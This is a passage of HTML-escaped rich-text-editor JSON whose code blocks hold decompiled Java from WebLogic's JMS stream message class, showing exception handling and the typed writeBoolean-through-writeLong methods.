}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lazf-1677058246028&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hLe6-1677058246027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4f9u-1677058246030&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LzH3-1677058246029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TPVB-1677058246032&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BWDW-1677058246031&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1MTB-1677058246034&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QrFa-1677058246033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 12:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Seay-1677058246036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CHA4-1677058246035&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R0AW-1677058246038&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UyXP-1677058246037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KW2L-1677058246040&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aGTo-1677058246039&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CopJ-1677058246042&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zYs7-1677058246041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), \&#34;Object\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jwxj-1677058246044&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HE2D-1677058246043&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LP2X-1677058246046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IleG-1677058246045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7KVO-1677058246048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wbjU-1677058246047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eIq1-1677058246050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9gKY-1677058246049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sz9j-1677058246052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eP3a-1677058246051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nGt5-1677058246054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4GtG-1677058246053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5i-1677058246056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BxMU-1677058246055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YcTU-1677058246058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pI12-1677058246057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R8mU-1677058246125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zdkD-1677058246059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeBoolean(boolean var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S88W-1677058246128&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjwP-1677058246126&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YwYn-1677058246130&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Sfnr-1677058246129&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VllA-1677058246132&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w4dw-1677058246131&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9hjo-1677058246134&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4o18-1677058246133&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeBoolean(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ebY4-1677058246136&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tmdO-1677058246135&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;omum-1677058246138&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sgjN-1677058246137&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(10), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ttaf-1677058246140&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAZp-1677058246139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HsZk-1677058246142&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ya1H-1677058246141&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GvBF-1677058246144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o4ax-1677058246143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rx4c-1677058246146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Am8B-1677058246145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeByte(byte var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Rir-1677058246148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qo5J-1677058246147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eg1h-1677058246150&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VuFX-1677058246149&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C5C6-1677058246152&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ch3P-1677058246151&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;abr6-1677058246154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BDgH-1677058246153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeByte(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2jLv-1677058246156&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTgb-1677058246155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xftm-1677058246158&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WO7c-1677058246157&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(20), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hjb7-1677058246161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4zTF-1677058246159&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a6IU-1677058246163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oMlA-1677058246162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l8kh-1677058246165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rkdX-1677058246164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sa0c-1677058246167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;42YD-1677058246166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeShort(short var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EeML-1677058246169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RJjk-1677058246168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4DPI-1677058246171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3f1d-1677058246170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lvUS-1677058246173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zz0M-1677058246172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y3dr-1677058246175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BTZZ-1677058246174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeShort(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PkNp-1677058246177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dhsJ-1677058246176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2A1X-1677058246179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zJwt-1677058246178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(30), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EDee-1677058246181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bCnu-1677058246180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rl7F-1677058246183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lZXs-1677058246182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RZPk-1677058246185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P3Lo-1677058246184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5lSv-1677058246187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v1a1-1677058246186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeChar(char var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LLHW-1677058246189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LbAp-1677058246188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0M3Q-1677058246191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FCRo-1677058246190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1tQW-1677058246193&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xePX-1677058246192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d1Ws-1677058246195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BH9l-1677058246194&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeChar(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oCT1-1677058246197&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7dvl-1677058246196&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qsrc-1677058246199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1ZK3-1677058246198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(40), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L6Eq-1677058246201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;turR-1677058246200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lJKu-1677058246203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpyC-1677058246202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NMl-1677058246205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mgnx-1677058246204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vZPv-1677058246207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ry9a-1677058246206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeInt(int var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0bwf-1677058246209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iEN1-1677058246208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;piO2-1677058246211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jjEg-1677058246210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Yj3-1677058246213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkPt-1677058246212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5f67-1677058246215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EgSJ-1677058246214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeInt(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K7Z1-1677058246217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TfQY-1677058246216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eg7I-1677058246219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ybz5-1677058246218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamWriteError(50), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iSFB-1677058246221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;528a-1677058246220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;P4Kc-1677058246223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m50M-1677058246222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FOD1-1677058246225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MM0m-1677058246224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oaT5-1677058246227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3rIP-1677058246226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeLong(long var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;51ih-1677058246229&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ni64-1677058246228&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.writeType((byte)7);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oZUJ-1677058246231&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0b54-1677058246230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n3As-1677058246233&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YKoJ-1677058246232&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yhFr-1677058246235&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AbgO-1677058246234&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.bos.writeLong(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5uAj-1677058246237&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WFmm-1677058246236&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var4) 